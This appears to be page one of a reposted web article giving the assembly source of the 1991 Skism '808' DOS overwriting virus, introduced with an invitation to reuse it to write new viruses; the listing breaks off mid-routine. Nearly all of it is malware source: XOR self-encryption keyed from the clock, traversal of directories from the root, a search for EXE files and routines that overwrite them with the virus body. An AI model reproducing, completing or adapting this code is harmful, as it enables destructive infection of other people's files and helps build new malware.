The 808 Virus
Here another virus from Skism. It's a quick overwriting virus but you can use the source code to write your own viruses.
------------------------------------------------------------------------------ 逆风编程精品
;The Skism 808 Virus. Created 1991 by Smart Kids Into Sick Methods.
filename EQU 30 ;used to find file name fileattr EQU 21 ;used to find file attributes filedate EQU 24 ;used to find file date filetime EQU 22 ;used to find file time
code_start EQU 0100h ;start of all .COM files virus_size EQU 808 ;TR 808
code segment 'code' assume cs:code,ds:code,es:code org code_start
main proc near
jmp virus_start
encrypt_val db 00h
virus_start:
call encrypt ;encrypt/decrypt file jmp virus ;go to start of code
encrypt:
push cx mov bx,offset virus_code ;start encryption at data
xor_loop:
mov ch,[bx] ;read current byte xor ch,encrypt_val ;get encryption key mov [bx],ch ;switch bytes inc bx ;move bx up a byte cmp bx,offset virus_code virus_size ;are we done with the encryption jle xor_loop ;no? keep going pop cx ret
infectfile:
mov dx,code_start ;where virus starts in memory mov bx,handle ;load bx with handle push bx ;save handle on stack call encrypt ;encrypt file pop bx ;get back bx mov cx,virus_size ;number of bytes to write mov ah,40h ;write to file int 21h ; push bx call encrypt ;fix up the mess pop bx ret
virus_code:
wildcards db "*",0 ;search for directory argument filespec db "*.EXE",0 ;search for EXE file argument filespec2 db "*.*",0 rootdir db "\",0 ;argument for root directory dirdata db 43 dup (?) ;holds directory DTA filedata db 43 dup (?) ;holds files DTA diskdtaseg dw ? ;holds disk dta segment diskdtaofs dw ? ;holds disk dta offset tempofs dw ? ;holds offset tempseg dw ? ;holds segment drivecode db ? ;holds drive code currentdir db 64 dup (?) ;save current directory into this handle dw ? ;holds file handle orig_time dw ? ;holds file time orig_date dw ? ;holds file date orig_attr dw ? ;holds file attr idbuffer dw 2 dup (?) ;holds virus id
virus:
mov ax,3000h ;get dos version int 21h ; cmp al,02h ;is it at least 2.00? jb bus1 ;won't infect less than 2.00 mov ah,2ch ;get time int 21h ; mov encrypt_val,dl ;save m_seconds to encrypt val so ;theres 100 mutations possible setdta:
mov dx,offset dirdata ;offset of where to hold new dta mov ah,1ah ;set dta address int 21h ;
newdir:
mov ah,19h ;get drive code int 21h ; mov dl,al ;save drivecode inc dl ;add one to dl, because functions differ mov ah,47h ;get current directory mov si, offset currentdir ;buffer to save directory in int 21h ;
mov dx,offset rootdir ;move dx to change to root directory mov ah,3bh ;change directory to root int 21h ;
scandirs:
mov cx,13h ;include hidden/ro directorys mov dx, offset wildcards ;look for '*' mov ah,4eh ;find first file int 21h ; cmp ax,12h ;no first file? jne dirloop ;no dirs found? bail out
bus1:
jmp bus
dirloop:
mov ah,4fh ;find next file int 21h ; cmp ax,12h je bus ;no more dirs found, roll out
chdir:
mov dx,offset dirdata filename;point dx to fcb - filename mov ah,3bh ;change directory int 21h ;
mov ah,2fh ;get current dta address
本文章更多内容:1 - 2 - 3 - 下一页>> |